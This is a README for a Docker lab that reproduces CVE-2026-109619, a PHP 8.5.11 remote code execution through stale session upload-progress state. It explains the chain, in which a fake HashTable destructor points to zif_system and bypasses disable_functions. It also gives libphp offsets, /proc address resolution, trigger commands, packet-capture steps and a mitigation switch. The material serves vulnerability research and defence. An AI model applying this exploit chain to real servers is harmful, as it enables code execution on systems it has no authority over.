Docker-based lab reproducing CVE-2026-109619, a PHP 8.5.11 RCE via stale session global state, with multipart PoC scripts, /proc address resolution, and mitigation checks.
For authorized security testing and vulnerability research only.
This project triggers PHP memory corruption and executesid-type commands inside an isolated Docker container. Do not use it against unauthorized systems, and do not expose9876to the public internet. By default it binds only to127.0.0.1.
This is a self-contained lab project for reproducing the exploit chain of CVE-2026-109619 (RCE via stale global state) under PHP 8.5.11 NTS + Apache 2.4.69 mod_php + prefork single worker.
The target page is a zero-functionality page:
<?php echo "OK\n"; ?>
不依赖 LFI、unserialize()、应用上传功能、路由或文件植入。入口在 PHP 内核的
session.upload_progress 生命周期和 SAPI 层 multipart 解析。
/proc/<worker>/maps)/proc/<pid>/mem 的读取和 docker top 会更稳定)php:8.5.11-apachegit clone <your-repo-url> fin3
cd fin3
./start-lab.sh
The script will:
fin3-php8511:latest from ./Dockerfile;fin3-php8511;127.0.0.1:9876;./trigger-rce.sh
On success, you should see:
MARKER=uid=33(www-data) gid=33(www-data) groups=33(www-data)
CHAIN_OK
[+] RCE marker observed.
Verification:
docker exec fin3-php8511 cat /tmp/fin3
Expected:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Cleanup:
docker rm -f fin3-php8511
start-lab.shOnly responsible for building the image and starting Docker; it does not send PoC requests.
./start-lab.sh
REBUILD=1 ./start-lab.sh # 强制重新构建镜像
PORT=9876 ./start-lab.sh # 修改宿主机端口
Each startup deletes and recreates the container named fin3-php8511 and does not affect other containers.
If you change the container name or port, keep them consistent when triggering:
NAME=myfin PORT=9877 ./start-lab.sh
NAME=myfin PORT=9877 ./trigger-rce.sh
trigger-rce.shOnly sends requests to already running containers; does not start Docker.
./trigger-rce.sh # MODE=zif,期望 RCE
ATTEMPTS=1 ./trigger-rce.sh # 只跑一次
MODE=neg ./trigger-rce.sh # CTORADDR=0 负面对照
MODE=abort ./trigger-rce.sh # abort@plt 控制
By default, at most ATTEMPTS=8 times. For the reason, see FAQ.
After success or failure, the container is retained by default, making it easy to inspect /tmp/fin3. To enable automatic cleanup:
REMOVE=1 ./trigger-rce.sh
MITIGATE=1 ./start-lab.sh
./trigger-rce.sh
start-lab.sh will set session.upload_progress.enabled to 0. trigger-rce.sh
will automatically recognize Off and judge it according to the "no marker" expectation.
The core of CVE-2026-109619 is:
Some of PHP's request-owned global state remains retained by the worker after the request heap is freed; subsequent requests read or branch on this stale state before normal initialization.
This lab uses the PS(http_session_vars) path.
Request A sends approximately 25 MB of multipart:
PHPSESSID=a*100
PHP_SESSION_UPLOAD_PROGRESS=p*p*p
f=file(a.txt)
big=B*24MB
在 memory_limit=16M 下,rfc1867_post_handler 在 php_request_startup() 内发生 OOM。
longjmp() 提前退出,匹配的 reset 没有执行;请求堆释放后,worker 的
PS(http_session_vars) 仍指向已释放的 zend_reference。
请求 B 约 28 KB:
SIDLEN=100:控制 PS(id) 分配位置;PS(http_session_vars) 指向可控结构;HashTable:pDestructor = zif_system。最终路径:
php_session_rfc1867_cleanup
-> php_session_initialize
-> php_session_track_init
-> zend_hash_destroy
-> pDestructor(...)
-> zif_system("id>/tmp/fin3")
disable_functions contains system, but here the zif_system handler is called directly, bypassing the function
disable table.
Built for php:8.5.11-apache:
| Symbol/Structure | Offset |
|---|---|
zif_system | libphp.so + 0x5996e0 |
abort@plt | libphp.so + 0x18ab90 |
fake HashTable data | Zend MM chunk +0x7e0d8 |
PS(http_session_vars) / R0 | Zend MM chunk +0x7a6e0 |
Offsets are specific to the build. They need to be recalibrated when changing the PHP image, distribution, or compilation options.
The LIBPHP and CHUNK addresses come from the host machine:
/proc/<worker_pid>/maps
This is lab-assisted, not a pure remote, ASLR-independent exploit. A real remote attack still requires an address leak primitive; the upstream public repository also explicitly lists this as an unresolved issue.
The port is 9876. tcpdump requires root or CAP_NET_RAW.
./start-lab.sh
sudo tcpdump -i lo -nn -s 0 \
-w /tmp/fin3-9876.pcap \
'tcp port 9876'
If lo cannot be captured, use -i any instead.
ATTEMPTS=1 ./trigger-rce.sh
If you encounter ADDR_RESOLVE_FAILED, simply rerun the same command.
After stopping packet capture, check:
tcpdump -r /tmp/fin3-9876.pcap -nn -A 'tcp port 9876' | less
Or view only the key fields:
strings /tmp/fin3-9876.pcap | \
grep -E 'POST /index.php|PHPSESSID|PHP_SESSION_UPLOAD_PROGRESS|HTTP/1.1' | head -60
Wireshark display filters:
http.request.method == "POST"
Phase A is about 25 MB per run, so the capture file will be relatively large; when only analyzing the protocol format, you can add -s 200 to keep only the header.
fin3/
├── Dockerfile
├── start-lab.sh # 构建 + 启动 Docker
├── trigger-rce.sh # 触发 Phase A/B
├── lab/
│ ├── index.php # 零功能页面
│ ├── lab.ini # PHP 配置
│ ├── lab-no-progress.ini# 缓解配置
│ └── mpm_prefork.conf # 单 worker prefork
├── poc/
│ ├── chain_runner.sh # Phase A/B 编排、地址解析、marker
│ ├── multipart_builder.py # multipart 构造
│ └── address_resolver.py # /proc 地址解析
├── README.md
├── NOTICE.md
├── SECURITY.md
└── LICENSE
lab/lab.ini:
memory_limit=16M
post_max_size=32M
upload_max_filesize=32M
max_input_nesting_level=64
session.upload_progress.enabled=1
session.upload_progress.cleanup=1
session.save_path=/tmp
expose_php=0
display_errors=1
display_startup_errors=1
log_errors=1
error_log=/proc/self/fd/2
allow_url_fopen=0
allow_url_include=0
disable_functions=exec,system,shell_exec,passthru,proc_open,popen,pcntl_exec,dl
lab/mpm_prefork.conf:
<IfModule mpm_prefork_module>
StartServers 1
MinSpareServers 1
MaxSpareServers 1
ServerLimit 1
MaxRequestWorkers 1
MaxConnectionsPerChild 0
</IfModule>
ADDR_RESOLVE_FAILED / CHUNK_CANDIDATES=[]After Phase A, the worker's Zend MM chunk timing is occasionally unstable. trigger-rce.sh retries up to 8 times by default,
restarting the container each time to get a fresh worker. To run only once, use ATTEMPTS=1.
docker: command not foundInstall Docker first, and make sure the current user can execute docker ps.
container does not become readyCheck docker logs fin3-php8511, and confirm that port 9876 on the host is not in use.
/proc/<pid>/mem read failure